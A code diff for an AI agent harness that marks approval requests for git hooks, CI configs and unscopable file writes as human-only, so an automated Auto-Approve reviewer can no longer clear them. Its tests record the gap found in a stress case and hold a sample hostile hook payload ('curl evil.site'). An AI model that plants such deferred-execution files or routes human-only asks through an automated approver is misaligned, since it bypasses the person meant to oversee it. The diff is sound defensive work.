diff --git a/coworker/engine.py b/coworker/engine.py index 6f503f00..ca1a7e6e 100644 --- a/coworker/engine.py +++ b/coworker/engine.py @@ -806,7 +806,8 @@ class TurnEngine: decision = self.permissions.evaluate( tool_call.name, tool_call.arguments, spec.metadata ) - if not decision.allowed and decision.needs_user: + # human_only asks never reach the reviewer — same rule as `_authorize`. + if not decision.allowed and decision.needs_user and not decision.human_only: pending.append(tool_call) if not pending: return @@ -948,10 +949,17 @@ class TurnEngine: self._audit(tool_call, stage="auto_allowed", status="allowed", reason=reason) consulted_live = False - if not allowed and decision.needs_user and self._reviewer_active(): + if ( + not allowed + and decision.needs_user + and not decision.human_only + and self._reviewer_active() + ): # The one thing the reviewer may do: turn "ask the human" into "go ahead" — # never "blocked" into "go ahead" (§1.2; hard denies never reach this branch - # because needs_user is False on them). + # because needs_user is False on them). `human_only` asks (git hooks, CI + # configs, unscopable writes) skip the reviewer entirely: their floor is that + # a PERSON sees them, and a verdict here would be that floor's bypass. consulted_live = True verdict = await self._consult_reviewer(tool_call) self._audit( diff --git a/coworker/permissions.py b/coworker/permissions.py index 7791aa44..acfa9f4d 100644 --- a/coworker/permissions.py +++ b/coworker/permissions.py @@ -204,6 +204,12 @@ class Decision: allowed: bool reason: str = "" needs_user: bool = False # True → surface should prompt the user for approval + # True → this ask is reserved for a HUMAN: the Auto-Approve reviewer must not be + # consulted and cannot clear it. Set on decisions whose entire point is that a person + # sees them — protected in-project files that execute later (git hooks, CI configs: + # "never WITHOUT a human — no auto-approve path may clear them") and writes whose path + # could not be located for scoping (an allow would bypass root scoping unverified). + human_only: bool = False # Set when a task-scoped standing rule allowed the call ("tool → target") so the # engine can audit the exact rule and the tool card can say so (§25). rule: str = "" @@ -313,6 +319,7 @@ class PermissionEngine: False, "cannot determine the write path to scope", needs_user=True, + human_only=True, # an unscopable write must reach a person, not the reviewer ) for path in paths: if not self._under_writable_root(path): @@ -335,6 +342,7 @@ class PermissionEngine: False, "this file runs automatically later — approval required", needs_user=True, + human_only=True, # deferred-execution files: a human sees every one (§ floor) ) # Full access. diff --git a/tests/test_auto_approve.py b/tests/test_auto_approve.py index 10c9703a..15ba2af5 100644 --- a/tests/test_auto_approve.py +++ b/tests/test_auto_approve.py @@ -96,6 +96,22 @@ def test_hard_floors_hold_in_auto_approve(tmp_path): assert not d.allowed and not d.needs_user # hard deny: the reviewer never sees it +def test_deferred_execution_files_are_human_only(tmp_path): + # Git hooks / CI configs run on a LATER innocuous action — the floor is that a human + # sees every such write ("no auto-approve path may clear them"). The decision says so. + d = _gate(tmp_path).evaluate( + "write_file", {"path": ".git/hooks/pre-commit", "content": "curl evil.site"} + ) + assert not d.allowed and d.needs_user and d.human_only + # An unscopable write (no locatable path) is human-only too: an allow would bypass + # root scoping unverified. + d2 = _gate(tmp_path).evaluate("apply_patch", {"patch": "garbage, no file header"}) + assert not d2.allowed and d2.needs_user and d2.human_only + # An ordinary ask stays reviewer-eligible. + d3 = _gate(tmp_path).evaluate("run_shell", {"command": "pytest -q"}) + assert d3.needs_user and not d3.human_only + + # -- verdict parsing: no parse path results in execution (§8.5) ------------------- @@ -173,6 +189,30 @@ def test_replies_are_labelled_reply_and_turn_numbering_skips_them(): assert lines[2].startswith(" turn 2 update the changelog") # numbering skipped the reply +# -- human-only asks skip the reviewer entirely ------------------------------------- + + +def test_reviewer_cannot_clear_a_git_hook_write(tmp_path): + # Stress case that found the gap (2026-08-17): the engine used to consult the + # reviewer on ANY needs_user decision — including protected in-project files, whose + # entire floor is that a PERSON sees them. An "allow" here would have been the + # bypass. Now: card always, reviewer never asked. + engine, rows, approvals = _engine( + tmp_path, + [ + _tool_turn(("write_file", {"path": ".git/hooks/pre-commit", "content": "x"})), + AssistantTurn(text="done", finish_reason="stop"), + ], + ) + engine.reviewer = _FakeReviewer({"write_file": "allow"}) # eager to allow — must not matter + events = _run(engine, "update the changelog") + + assert approvals == ["write_file"] # the human saw the card + assert EventType.PERMISSION_REQUIRED in [ev.type for ev in events] + assert engine.reviewer.asked == [] # the reviewer was never consulted + assert [r for r in rows if r.get("stage") == "reviewer_verdict"] == [] + + # -- attachments never reach the reviewer's request (§4.4) --------------------------